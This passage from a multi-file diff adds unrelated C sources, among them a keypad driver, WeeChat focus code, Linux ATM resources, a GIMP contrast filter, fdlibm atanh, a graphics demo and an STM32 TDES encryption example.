platform_set_drvdata(pdev, NULL); + kfree(keypad); + + return 0; +} + +static struct platform_driver w90p910_keypad_driver = { + .probe = w90p910_keypad_probe, + .remove = w90p910_keypad_remove, + .driver = { + .name = "nuc900-kpi", + .owner = THIS_MODULE, + }, +}; +module_platform_driver(w90p910_keypad_driver); + +MODULE_AUTHOR("Wan ZongShun "); +MODULE_DESCRIPTION("w90p910 keypad driver"); +MODULE_LICENSE("GPL"); +MODULE_ALIAS("platform:nuc900-keypad"); diff --git a/pool/shard011/C/0141636_gui-focus.c b/pool/shard011/C/0141636_gui-focus.c new file mode 100644 index 0000000000000000000000000000000000000000..59b480bc3e3d890486817cc65ffb1b2c211dddd9 --- /dev/null +++ b/pool/shard011/C/0141636_gui-focus.c @@ -0,0 +1,264 @@ +/* + * gui-focus.c - functions about focus (cursor mode and mouse) (used by all GUI) + * + * Copyright (C) 2011-2013 Sebastien Helleu + * + * This file is part of WeeChat, the extensible chat client. + * + * WeeChat is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * WeeChat is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with WeeChat. If not, see . + */ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include + +#include "../core/weechat.h" +#include "../core/wee-hashtable.h" +#include "../core/wee-string.h" +#include "../plugins/plugin.h" +#include "gui-bar.h" +#include "gui-bar-window.h" +#include "gui-buffer.h" +#include "gui-color.h" +#include "gui-focus.h" +#include "gui-line.h" +#include "gui-window.h" + + +#define FOCUS_STR(__name, __string) \ + hashtable_set (hashtable, __name, __string); +#define FOCUS_STR_VAR(__name, __var) \ + hashtable_set (hashtable, __name, (__var) ? __var : ""); +#define FOCUS_INT(__name, __int) \ + snprintf (str_value, sizeof (str_value), "%d", __int); \ + hashtable_set (hashtable, __name, str_value); +#define FOCUS_TIME(__name, __time) \ + snprintf (str_value, sizeof (str_value), "%ld", (long)__time); \ + hashtable_set (hashtable, __name, str_value); +#define FOCUS_PTR(__name, __pointer) \ + if (__pointer) \ + { \ + snprintf (str_value, sizeof (str_value), \ + "0x%lx", (long unsigned int)__pointer); \ + hashtable_set (hashtable, __name, str_value); \ + } \ + else \ + { \ + hashtable_set (hashtable, __name, ""); \ + } + + +/* + * Gets info about what is pointed by cursor at (x,y). + * + * Returns pointer to focus info, NULL if error. + * + * Note: focus info must be freed after use. + */ + +struct t_gui_focus_info * +gui_focus_get_info (int x, int y) +{ + struct t_gui_focus_info *focus_info; + + focus_info = malloc (sizeof (*focus_info)); + if (!focus_info) + return NULL; + + focus_info->x = x; + focus_info->y = y; + + /* search window */ + focus_info->window = gui_window_search_by_xy (x, y); + + /* fill info about chat area */ + gui_window_get_context_at_xy (focus_info->window, + x, y, + &focus_info->chat, + &focus_info->chat_line, + &focus_info->chat_line_x, + &focus_info->chat_word, + &focus_info->chat_bol, + &focus_info->chat_eol); + + /* search bar window, item, and line/col in item */ + gui_bar_window_search_by_xy (focus_info->window, + x, y, + &focus_info->bar_window, + &focus_info->bar_item, + &focus_info->bar_item_line, + &focus_info->bar_item_col); + + return focus_info; +} + +/* + * Frees a focus info structure. + */ + +void +gui_focus_free_info (struct t_gui_focus_info *focus_info) +{ + if (focus_info->chat_word) + free (focus_info->chat_word); + if (focus_info->chat_bol) + free (focus_info->chat_bol); + if (focus_info->chat_eol) + free (focus_info->chat_eol); + + free (focus_info); +} + +/* + * Adds local variables of buffer in hashtable. + */ + +void +gui_focus_buffer_localvar_map_cb (void *data, struct t_hashtable *hashtable, + const void *key, const void *value) +{ + struct t_hashtable *hashtable_focus; + char hash_key[512]; + + /* make C compiler happy */ + (void) hashtable; + + hashtable_focus = (struct t_hashtable *)data; + + if (hashtable_focus && key && value) + { + snprintf (hash_key, sizeof (hash_key), + "_buffer_localvar_%s", (const char *)key); + hashtable_set (hashtable_focus, hash_key, (const char *)value); + } +} + +/* + * Adds two focus info into hashtable. + * + * Returns pointer to new hashtable. + * + * Note: result must be freed after use. + */ + +struct t_hashtable * +gui_focus_to_hashtable (struct t_gui_focus_info *focus_info, const char *key) +{ + struct t_hashtable *hashtable; + char str_value[128], *str_time, *str_prefix, *str_tags, *str_message; + const char *nick; + + hashtable = hashtable_new (32, + WEECHAT_HASHTABLE_STRING, + WEECHAT_HASHTABLE_STRING, + NULL, + NULL); + if (!hashtable) + return NULL; + + /* key (key from keyboard or mouse event) */ + FOCUS_STR("_key", key); + + /* x,y */ + FOCUS_INT("_x", focus_info->x); + FOCUS_INT("_y", focus_info->y); + + /* window/buffer */ + FOCUS_PTR("_window", focus_info->window); + if (focus_info->window) + { + FOCUS_INT("_window_number", (focus_info->window)->number); + FOCUS_PTR("_buffer", focus_info->window->buffer); + FOCUS_INT("_buffer_number", ((focus_info->window)->buffer)->number); + FOCUS_STR("_buffer_plugin", plugin_get_name (((focus_info->window)->buffer)->plugin)); + FOCUS_STR("_buffer_name", ((focus_info->window)->buffer)->name); + FOCUS_STR("_buffer_full_name", ((focus_info->window)->buffer)->full_name); + hashtable_map (focus_info->window->buffer->local_variables, + &gui_focus_buffer_localvar_map_cb, hashtable); + } + else + { + FOCUS_STR("_window_number", "*"); + FOCUS_PTR("_buffer", NULL); + FOCUS_STR("_buffer_number", "-1"); + FOCUS_STR("_buffer_plugin", ""); + FOCUS_STR("_buffer_name", ""); + FOCUS_STR("_buffer_full_name", ""); + } + + /* chat area */ + FOCUS_INT("_chat", focus_info->chat); + str_time = NULL; + str_prefix = NULL; + if (focus_info->chat_line) + { + str_time = gui_color_decode (((focus_info->chat_line)->data)->str_time, NULL); + str_prefix = gui_color_decode (((focus_info->chat_line)->data)->prefix, NULL); + str_tags = string_build_with_split_string ((const char **)((focus_info->chat_line)->data)->tags_array, ","); + str_message = gui_color_decode (((focus_info->chat_line)->data)->message, NULL); + nick = gui_line_get_nick_tag (focus_info->chat_line); + FOCUS_INT("_chat_line_x", focus_info->chat_line_x); + FOCUS_INT("_chat_line_y", ((focus_info->chat_line)->data)->y); + FOCUS_TIME("_chat_line_date", ((focus_info->chat_line)->data)->date); + FOCUS_TIME("_chat_line_date_printed", ((focus_info->chat_line)->data)->date_printed); + FOCUS_STR_VAR("_chat_line_time", str_time); + FOCUS_STR_VAR("_chat_line_tags", str_tags); + FOCUS_STR_VAR("_chat_line_nick", nick); + FOCUS_STR_VAR("_chat_line_prefix", str_prefix); + FOCUS_STR_VAR("_chat_line_message", str_message); + if (str_time) + free (str_time); + if (str_prefix) + free (str_prefix); + if (str_tags) + free (str_tags); + if (str_message) + free (str_message); + } + else + { + FOCUS_STR("_chat_line_x", "-1"); + FOCUS_STR("_chat_line_y", "-1"); + FOCUS_STR("_chat_line_date", "-1"); + FOCUS_STR("_chat_line_date_printed", "-1"); + FOCUS_STR("_chat_line_time", ""); + FOCUS_STR("_chat_line_tags", ""); + FOCUS_STR("_chat_line_nick", ""); + FOCUS_STR("_chat_line_prefix", ""); + FOCUS_STR("_chat_line_message", ""); + } + FOCUS_STR_VAR("_chat_word", focus_info->chat_word); + FOCUS_STR_VAR("_chat_bol", focus_info->chat_bol); + FOCUS_STR_VAR("_chat_eol", focus_info->chat_eol); + + /* bar/item */ + if (focus_info->bar_window) + { + FOCUS_STR("_bar_name", ((focus_info->bar_window)->bar)->name); + FOCUS_STR("_bar_filling", gui_bar_filling_string[gui_bar_get_filling ((focus_info->bar_window)->bar)]); + } + else + { + FOCUS_STR("_bar_name", ""); + FOCUS_STR("_bar_filling", ""); + } + FOCUS_STR_VAR("_bar_item_name", focus_info->bar_item); + FOCUS_INT("_bar_item_line", focus_info->bar_item_line); + FOCUS_INT("_bar_item_col", focus_info->bar_item_col); + + return hashtable; +} diff --git a/pool/shard011/C/0141637_resources.c b/pool/shard011/C/0141637_resources.c new file mode 100644 index 0000000000000000000000000000000000000000..bd98b19ebaab030f6b46e3b28561906850f223ad --- /dev/null +++ b/pool/shard011/C/0141637_resources.c @@ -0,0 +1,252 @@ +/* net/atm/resources.c - Staticly allocated resources */ + +/* Written 1995-2000 by Werner Almesberger, EPFL LRC/ICA */ + + +#include +#include +#include +#include +#include /* for barrier */ +#include +#include +#include /* for struct sock */ +#include /* for get_fs_long and put_fs_long */ + +#include "common.h" +#include "resources.h" + + +#ifndef NULL +#define NULL 0 +#endif + + +LIST_HEAD(atm_devs); +spinlock_t atm_dev_lock = SPIN_LOCK_UNLOCKED; + + +static struct atm_dev *__alloc_atm_dev(const char *type) +{ + struct atm_dev *dev; + + dev = kmalloc(sizeof(*dev), GFP_ATOMIC); + if (!dev) + return NULL; + memset(dev, 0, sizeof(*dev)); + dev->type = type; + dev->signal = ATM_PHY_SIG_UNKNOWN; + dev->link_rate = ATM_OC3_PCR; + spin_lock_init(&dev->lock); + + return dev; +} + + +static void __free_atm_dev(struct atm_dev *dev) +{ + kfree(dev); +} + +static struct atm_dev *__atm_dev_lookup(int number) +{ + struct atm_dev *dev; + struct list_head *p; + + list_for_each(p, &atm_devs) { + dev = list_entry(p, struct atm_dev, dev_list); + if ((dev->ops) && (dev->number == number)) { + atm_dev_hold(dev); + return dev; + } + } + return NULL; +} + +struct atm_dev *atm_dev_lookup(int number) +{ + struct atm_dev *dev; + + spin_lock(&atm_dev_lock); + dev = __atm_dev_lookup(number); + spin_unlock(&atm_dev_lock); + return dev; +} + +struct atm_dev *atm_dev_register(const char *type, const struct atmdev_ops *ops, + int number, atm_dev_flags_t *flags) +{ + struct atm_dev *dev, *inuse; + + + dev = __alloc_atm_dev(type); + if (!dev) { + printk(KERN_ERR "atm_dev_register: no space for dev %s\n", + type); + return NULL; + } + spin_lock(&atm_dev_lock); + if (number != -1) { + if ((inuse = __atm_dev_lookup(number))) { + atm_dev_release(inuse); + spin_unlock(&atm_dev_lock); + __free_atm_dev(dev); + return NULL; + } + dev->number = number; + } else { + dev->number = 0; + while ((inuse = __atm_dev_lookup(dev->number))) { + atm_dev_release(inuse); + dev->number++; + } + } + dev->vccs = dev->last = NULL; + dev->dev_data = NULL; + barrier(); + dev->ops = ops; + if (flags) + dev->flags = *flags; + else + memset(&dev->flags, 0, sizeof(dev->flags)); + memset(&dev->stats, 0, sizeof(dev->stats)); + atomic_set(&dev->refcnt, 1); + list_add_tail(&dev->dev_list, &atm_devs); + spin_unlock(&atm_dev_lock); + +#ifdef CONFIG_PROC_FS + if (ops->proc_read) { + if (atm_proc_dev_register(dev) < 0) { + printk(KERN_ERR "atm_dev_register: " + "atm_proc_dev_register failed for dev %s\n", + type); + spin_lock(&atm_dev_lock); + list_del(&dev->dev_list); + spin_unlock(&atm_dev_lock); + __free_atm_dev(dev); + return NULL; + } + } +#endif + + return dev; +} + + +void atm_dev_deregister(struct atm_dev *dev) +{ + unsigned long warning_time; + +#ifdef CONFIG_PROC_FS + if (dev->ops->proc_read) atm_proc_dev_deregister(dev); +#endif + spin_lock(&atm_dev_lock); + list_del(&dev->dev_list); + spin_unlock(&atm_dev_lock); + + warning_time = jiffies; + while (atomic_read(&dev->refcnt) != 1) { + current->state = TASK_INTERRUPTIBLE; + schedule_timeout(HZ / 4); + current->state = TASK_RUNNING; + if ((jiffies - warning_time) > 10 * HZ) { + printk(KERN_EMERG "atm_dev_deregister: waiting for " + "dev %d to become free. Usage count = %d\n", + dev->number, atomic_read(&dev->refcnt)); + warning_time = jiffies; + } + } + + __free_atm_dev(dev); +} + +void shutdown_atm_dev(struct atm_dev *dev) +{ + if (atomic_read(&dev->refcnt) > 1) { + set_bit(ATM_DF_CLOSE, &dev->flags); + return; + } + if (dev->ops->dev_close) + dev->ops->dev_close(dev); + atm_dev_deregister(dev); +} + + +/* Handler for sk->destruct, invoked by sk_free() */ +static void atm_free_sock(struct sock *sk) +{ + kfree(sk->protinfo.af_atm); +} + +struct sock *alloc_atm_vcc_sk(int family) +{ + struct sock *sk; + struct atm_vcc *vcc; + + sk = sk_alloc(family, GFP_KERNEL, 1); + if (!sk) + return NULL; + vcc = sk->protinfo.af_atm = kmalloc(sizeof(*vcc), GFP_KERNEL); + if (!vcc) { + sk_free(sk); + return NULL; + } + sock_init_data(NULL, sk); + sk->destruct = atm_free_sock; + memset(vcc, 0, sizeof(*vcc)); + vcc->sk = sk; + + return sk; +} + + +static void unlink_vcc(struct atm_vcc *vcc) +{ + unsigned long flags; + if (vcc->dev) { + spin_lock_irqsave(&vcc->dev->lock, flags); + if (vcc->prev) + vcc->prev->next = vcc->next; + else + vcc->dev->vccs = vcc->next; + + if (vcc->next) + vcc->next->prev = vcc->prev; + else + vcc->dev->last = vcc->prev; + spin_unlock_irqrestore(&vcc->dev->lock, flags); + } +} + + + +void free_atm_vcc_sk(struct sock *sk) +{ + unlink_vcc(sk->protinfo.af_atm); + sk_free(sk); +} + + +void bind_vcc(struct atm_vcc *vcc,struct atm_dev *dev) +{ + unsigned long flags; + + unlink_vcc(vcc); + vcc->dev = dev; + if (dev) { + spin_lock_irqsave(&dev->lock, flags); + vcc->next = NULL; + vcc->prev = dev->last; + if (dev->vccs) dev->last->next = vcc; + else dev->vccs = vcc; + dev->last = vcc; + spin_unlock_irqrestore(&dev->lock, flags); + } +} + + +EXPORT_SYMBOL(atm_dev_register); +EXPORT_SYMBOL(atm_dev_deregister); +EXPORT_SYMBOL(atm_dev_lookup); +EXPORT_SYMBOL(shutdown_atm_dev); +EXPORT_SYMBOL(bind_vcc); diff --git a/pool/shard011/C/0141638_display-filter-high-contrast.c b/pool/shard011/C/0141638_display-filter-high-contrast.c new file mode 100644 index 0000000000000000000000000000000000000000..f1739d336ca6a77cae2664716052765299bf1098 --- /dev/null +++ b/pool/shard011/C/0141638_display-filter-high-contrast.c @@ -0,0 +1,273 @@ +/* GIMP - The GNU Image Manipulation Program + * Copyright (C) 1999 Manish Singh + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include "config.h" + +#include + +#include "libgimpcolor/gimpcolor.h" +#include "libgimpconfig/gimpconfig.h" +#include "libgimpmath/gimpmath.h" +#include "libgimpmodule/gimpmodule.h" +#include "libgimpwidgets/gimpwidgets.h" + +#include "libgimp/libgimp-intl.h" + + +#define DEFAULT_CONTRAST 1.0 + + +#define CDISPLAY_TYPE_CONTRAST (cdisplay_contrast_get_type ()) +#define CDISPLAY_CONTRAST(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), CDISPLAY_TYPE_CONTRAST, CdisplayContrast)) +#define CDISPLAY_CONTRAST_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), CDISPLAY_TYPE_CONTRAST, CdisplayContrastClass)) +#define CDISPLAY_IS_CONTRAST(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), CDISPLAY_TYPE_CONTRAST)) +#define CDISPLAY_IS_CONTRAST_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), CDISPLAY_TYPE_CONTRAST)) + + +typedef struct _CdisplayContrast CdisplayContrast; +typedef struct _CdisplayContrastClass CdisplayContrastClass; + +struct _CdisplayContrast +{ + GimpColorDisplay parent_instance; + + gdouble contrast; + guchar lookup[256]; +}; + +struct _CdisplayContrastClass +{ + GimpColorDisplayClass parent_instance; +}; + + +enum +{ + PROP_0, + PROP_CONTRAST +}; + + +GType cdisplay_contrast_get_type (void); + +static void cdisplay_contrast_set_property (GObject *object, + guint property_id, + const GValue *value, + GParamSpec *pspec); +static void cdisplay_contrast_get_property (GObject *object, + guint property_id, + GValue *value, + GParamSpec *pspec); + +static void cdisplay_contrast_convert_surface (GimpColorDisplay *display, + cairo_surface_t *surface); +static GtkWidget * cdisplay_contrast_configure (GimpColorDisplay *display); +static void cdisplay_contrast_set_contrast (CdisplayContrast *contrast, + gdouble value); + + +static const GimpModuleInfo cdisplay_contrast_info = +{ + GIMP_MODULE_ABI_VERSION, + N_("High Contrast color display filter"), + "Jay Cox ", + "v0.2", + "(c) 2000, released under the GPL", + "October 14, 2000" +}; + +G_DEFINE_DYNAMIC_TYPE (CdisplayContrast, cdisplay_contrast, + GIMP_TYPE_COLOR_DISPLAY) + + +G_MODULE_EXPORT const GimpModuleInfo * +gimp_module_query (GTypeModule *module) +{ + return &cdisplay_contrast_info; +} + +G_MODULE_EXPORT gboolean +gimp_module_register (GTypeModule *module) +{ + cdisplay_contrast_register_type (module); + + return TRUE; +} + +static void +cdisplay_contrast_class_init (CdisplayContrastClass *klass) +{ + GObjectClass *object_class = G_OBJECT_CLASS (klass); + GimpColorDisplayClass *display_class = GIMP_COLOR_DISPLAY_CLASS (klass); + + object_class->get_property = cdisplay_contrast_get_property; + object_class->set_property = cdisplay_contrast_set_property; + + GIMP_CONFIG_INSTALL_PROP_DOUBLE (object_class, PROP_CONTRAST, + "contrast", NULL, + 0.01, 10.0, DEFAULT_CONTRAST, + 0); + + display_class->name = _("Contrast"); + display_class->help_id = "gimp-colordisplay-contrast"; + display_class->stock_id = GIMP_STOCK_DISPLAY_FILTER_CONTRAST; + + display_class->convert_surface = cdisplay_contrast_convert_surface; + display_class->configure = cdisplay_contrast_configure; +} + +static void +cdisplay_contrast_class_finalize (CdisplayContrastClass *klass) +{ +} + +static void +cdisplay_contrast_init (CdisplayContrast *contrast) +{ +} + +static void +cdisplay_contrast_get_property (GObject *object, + guint property_id, + GValue *value, + GParamSpec *pspec) +{ + CdisplayContrast *contrast = CDISPLAY_CONTRAST (object); + + switch (property_id) + { + case PROP_CONTRAST: + g_value_set_double (value, contrast->contrast); + break; + default: + G_OBJECT_WARN_INVALID_PROPERTY_ID (object, property_id, pspec); + break; + } +} + +static void +cdisplay_contrast_set_property (GObject *object, + guint property_id, + const GValue *value, + GParamSpec *pspec) +{ + CdisplayContrast *contrast = CDISPLAY_CONTRAST (object); + + switch (property_id) + { + case PROP_CONTRAST: + cdisplay_contrast_set_contrast (contrast, g_value_get_double (value)); + break; + default: + G_OBJECT_WARN_INVALID_PROPERTY_ID (object, property_id, pspec); + break; + } +} + +static void +cdisplay_contrast_convert_surface (GimpColorDisplay *display, + cairo_surface_t *surface) +{ + CdisplayContrast *contrast = CDISPLAY_CONTRAST (display); + gint width = cairo_image_surface_get_width (surface); + gint height = cairo_image_surface_get_height (surface); + gint stride = cairo_image_surface_get_stride (surface); + guchar *buf = cairo_image_surface_get_data (surface); + cairo_format_t fmt = cairo_image_surface_get_format (surface); + gint i, j, skip; + gint r, g, b, a; + + if (fmt != CAIRO_FORMAT_ARGB32) + return; + + /* You will not be using the entire buffer most of the time. + * Hence, the simplistic code for this is as follows: + * + * for (j = 0; j < height; j++) + * { + * for (i = 0; i < width * bpp; i++) + * buf[i] = lookup[buf[i]]; + * buf += bpl; + * } + */ + + j = height; + skip = stride - 4 * width; + + while (j--) + { + i = width; + while (i--) + { + GIMP_CAIRO_ARGB32_GET_PIXEL (buf, r, g, b, a); + r = contrast->lookup[r]; + g = contrast->lookup[g]; + b = contrast->lookup[b]; + GIMP_CAIRO_ARGB32_SET_PIXEL (buf, r, g, b, a); + buf += 4; + } + buf += skip; + } +} + +static GtkWidget * +cdisplay_contrast_configure (GimpColorDisplay *display) +{ + CdisplayContrast *contrast = CDISPLAY_CONTRAST (display); + GtkWidget *hbox; + GtkWidget *label; + GtkWidget *spinbutton; + + hbox = gtk_hbox_new (FALSE, 6); + + label = gtk_label_new_with_mnemonic (_("Contrast c_ycles:")); + gtk_box_pack_start (GTK_BOX (hbox), label, FALSE, FALSE, 0); + gtk_widget_show (label); + + spinbutton = gimp_prop_spin_button_new (G_OBJECT (contrast), "contrast", + 0.1, 1.0, 3); + gtk_box_pack_start (GTK_BOX (hbox), spinbutton, FALSE, FALSE, 0); + gtk_widget_show (spinbutton); + + gtk_label_set_mnemonic_widget (GTK_LABEL (label), spinbutton); + + return hbox; +} + +static void +cdisplay_contrast_set_contrast (CdisplayContrast *contrast, + gdouble value) +{ + if (value <= 0.0) + value = 1.0; + + if (value != contrast->contrast) + { + gint i; + + contrast->contrast = value; + + for (i = 0; i < 256; i++) + { + contrast->lookup[i] = (guchar) (gint) + (255 * .5 * (1 + sin (value * 2 * G_PI * i / 255.0))); + } + + g_object_notify (G_OBJECT (contrast), "contrast"); + gimp_color_display_changed (GIMP_COLOR_DISPLAY (contrast)); + } +} diff --git a/pool/shard011/C/0141639_e_atanh.c b/pool/shard011/C/0141639_e_atanh.c new file mode 100644 index 0000000000000000000000000000000000000000..4793e4aee8a3894aab9391c4b3cb701b1df35c3a --- /dev/null +++ b/pool/shard011/C/0141639_e_atanh.c @@ -0,0 +1,68 @@ + +/* @(#)e_atanh.c 1.3 95/01/18 */ +/* + * ==================================================== + * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + * + * Developed at SunSoft, a Sun Microsystems, Inc. business. + * Permission to use, copy, modify, and distribute this + * software is freely granted, provided that this notice + * is preserved. + * ==================================================== + * + */ + +/* __ieee754_atanh(x) + * Method : + * 1.Reduced x to positive by atanh(-x) = -atanh(x) + * 2.For x>=0.5 + * 1 2x x + * atanh(x) = --- * ieee_log(1 + -------) = 0.5 * ieee_log1p(2 * --------) + * 2 1 - x 1 - x + * + * For x<0.5 + * atanh(x) = 0.5*ieee_log1p(2x+2x*x/(1-x)) + * + * Special cases: + * atanh(x) is NaN if |x| > 1 with signal; + * atanh(NaN) is that NaN with no signal; + * atanh(+-1) is +-INF with signal. + * + */ + +#include "fdlibm.h" + +#ifdef __STDC__ +static const double one = 1.0, huge = 1e300; +#else +static double one = 1.0, huge = 1e300; +#endif + +static double zero = 0.0; + +#ifdef __STDC__ + double __ieee754_atanh(double x) +#else + double __ieee754_atanh(x) + double x; +#endif +{ + double t; + int hx,ix; + unsigned lx; + hx = __HI(x); /* high word */ + lx = __LO(x); /* low word */ + ix = hx&0x7fffffff; + if ((ix|((lx|(-lx))>>31))>0x3ff00000) /* |x|>1 */ + return (x-x)/(x-x); + if(ix==0x3ff00000) + return x/zero; + if(ix<0x3e300000&&(huge+x)>zero) return x; /* x<2**-28 */ + __HI(x) = ix; /* x <- |x| */ + if(ix<0x3fe00000) { /* x < 0.5 */ + t = x+x; + t = 0.5*ieee_log1p(t+t*x/(one-x)); + } else + t = 0.5*ieee_log1p((x+x)/(one-x)); + if(hx>=0) return t; else return -t; +} diff --git a/pool/shard011/C/0141640_3-35.c b/pool/shard011/C/0141640_3-35.c new file mode 100644 index 0000000000000000000000000000000000000000..d23a8449590278c4c29b60ca94f0053582620c32 --- /dev/null +++ b/pool/shard011/C/0141640_3-35.c @@ -0,0 +1,80 @@ +#include +#include +#include +#define PI 3.1415926 +#define T PI/180 +#define NN 36 +#define DT PI/NN +#define DIST 0.8 +#define R 190 +static int n=1; +void trans(t,s) +float t[3];float s[3][3]; +{ + s[0][0]=cos(t[1])*cos(t[2]);s[0][1]=cos(t[1])*sin(t[2]); + s[0][2]=-sin(t[1]); + s[1][0]=sin(t[0])*sin(t[1])*cos(t[2])-cos(t[0])*sin(t[2]); + s[1][1]=sin(t[0])*sin(t[1])*sin(t[2])+cos(t[0])*cos(t[2]); + s[1][2]=sin(t[0])*cos(t[1]); + s[2][0]=cos(t[0])*sin(t[1])*cos(t[2])+sin(t[0])*sin(t[2]); + s[2][1]=cos(t[0])*sin(t[1])*sin(t[2])-sin(t[0])*cos(t[2]); + s[2][2]=cos(t[0])*cos(t[1]); +} +void draw(m,da,db) +float m[3][3],da,db; +{ + float f[3],f0,x0,y0,x1,y1,x2,y2; + f[0]=R*sin(da)*cos(db); + f[1]=R*sin(da)*sin(db); + f[2]=R*cos(da); + f0=f[0]*m[0][2]+f[1]*m[1][2]+f[2]*m[2][2]; + if(f0<=0) + n=1; + else + { + x0=300.0;y0=165.0; + x2=(f0*m[0][0]+f[1]*m[1][0]+f[2]*m[2][0])+x0; + y2=(f0*m[0][1]+f[1]*m[1][1]+f[2]*m[2][1])*DIST+y0; + if(n==1) + { + n=2; + x1=x2; + y1=y2; + } + else + { + line(x1,y1,x2,y2); + x1=x2; + y1=y2; + } + } +} +main() +{ + float d[3],r[3][3]; + float ta,tb; + int gd=DETECT,gm; + initgraph(&gd,&gm,""); + cleardevice(); + setbkcolor(BLACK); + setcolor(GREEN); + d[1]=30*T; + d[2]=-0.3; + d[2]+=30*T; + d[0]=60*T; + trans(d,r); + for(tb=0.0;tb
© COPYRIGHT(c) 2015 STMicroelectronics
+ * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, + * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ + +/* Includes ------------------------------------------------------------------*/ +#include "main.h" + +/** @addtogroup STM32F4xx_HAL_Examples + * @{ + */ + +/** @addtogroup CRYP_TDES_DMA + * @{ + */ + +/* Private typedef -----------------------------------------------------------*/ +/* Private define ------------------------------------------------------------*/ +/* Private macro -------------------------------------------------------------*/ +/* Private variables ---------------------------------------------------------*/ +/* CRYP handler declaration */ +CRYP_HandleTypeDef CrypHandle; + +/* UART handler declaration */ +UART_HandleTypeDef UartHandle; + +/* DMA handlers declartion for In/Out */ +DMA_HandleTypeDef hdmaIn; +DMA_HandleTypeDef hdmaOut; + +/* Key size 8 bytes */ +uint8_t aTDESKey[24] = "123456781234567812345678"; + +/* Plaintext */ +uint8_t aPlaintext[48] = "ABCDEFGHIJKLMONPQRSTUVWXABCDEFGHIJKLMONPQRSTUVWX"; + +/* Cyphertext */ +uint8_t aCyphertext[48] = {0x96,0xde,0x60,0x3e,0xae,0xd6,0x25,0x6f, + 0x58,0x28,0xa8,0x35,0x8a,0x24,0xbb,0xd1, + 0x58,0xec,0x01,0x60,0xd6,0x41,0x1b,0xc7, + 0x96,0xde,0x60,0x3e,0xae,0xd6,0x25,0x6f, + 0x58,0x28,0xa8,0x35,0x8a,0x24,0xbb,0xd1, + 0x58,0xec,0x01,0x60,0xd6,0x41,0x1b,0xc7}; + +/* Used for storing the encrypted text */ +uint8_t aEncryptedtext[48]; + +/* Private function prototypes -----------------------------------------------*/ +static void SystemClock_Config(void); +static void Error_Handler(void); + +/* Private functions ---------------------------------------------------------*/ + +/** + * @brief Main program + * @param None + * @retval None + */ +int main(void) +{ + /* STM32F4xx HAL library initialization: + - Configure the Flash prefetch, instruction and Data caches + - Configure the Systick to generate an interrupt each 1 msec + - Set NVIC Group Priority to 4 + - Global MSP (MCU Support Package) initialization + */ + HAL_Init(); + + /* Configure the system clock to 180 MHz */ + SystemClock_Config(); + + /* Configure LED1, LED2 and LED3 */ + BSP_LED_Init(LED1); + BSP_LED_Init(LED2); + BSP_LED_Init(LED3); + + /*##-1- Configure the CRYP peripheral ######################################*/ + /* Set the CRYP parameters */ + CrypHandle.Instance = CRYP; + + CrypHandle.Init.DataType = CRYP_DATATYPE_8B; + CrypHandle.Init.KeySize = CRYP_KEYSIZE_128B; + CrypHandle.Init.pKey = aTDESKey; + + if(HAL_CRYP_Init(&CrypHandle)!= HAL_OK) + { + /* Initialization process error */ + Error_Handler(); + } + + /*##-2- Start the TDES encryption in ECB chaining mode #####################*/ + if (HAL_CRYP_TDESECB_Encrypt_DMA(&CrypHandle, aPlaintext, 48, aEncryptedtext) != HAL_OK) + { + /* Processing error */ + Error_Handler(); + } + while (HAL_CRYP_GetState(&CrypHandle) != HAL_CRYP_STATE_READY); + + /*##-3- Check the encrypted text with the expected one #####################*/ + if(memcmp(aEncryptedtext, aCyphertext, 48) != 0) + { + /* Wrong encryption: Turn LED2 on */ + BSP_LED_On(LED2); + } + else + { + /* Right encryption: Turn LED1 on */ + BSP_LED_On(LED1); + } + + /* Infinite loop */ + while (1) + { + } +} + +/** + * @brief System Clock Configuration + * The system Clock is configured as follow : + * System Clock source = PLL (HSE) + * SYSCLK(Hz) = 180000000 + * HCLK(Hz) = 180000000 + * AHB Prescaler = 1 + * APB1 Prescaler = 4 + * APB2 Prescaler = 2 + * HSE Frequency(Hz) = 25000000 + * PLL_M = 25 + * PLL_N = 360 + * PLL_P 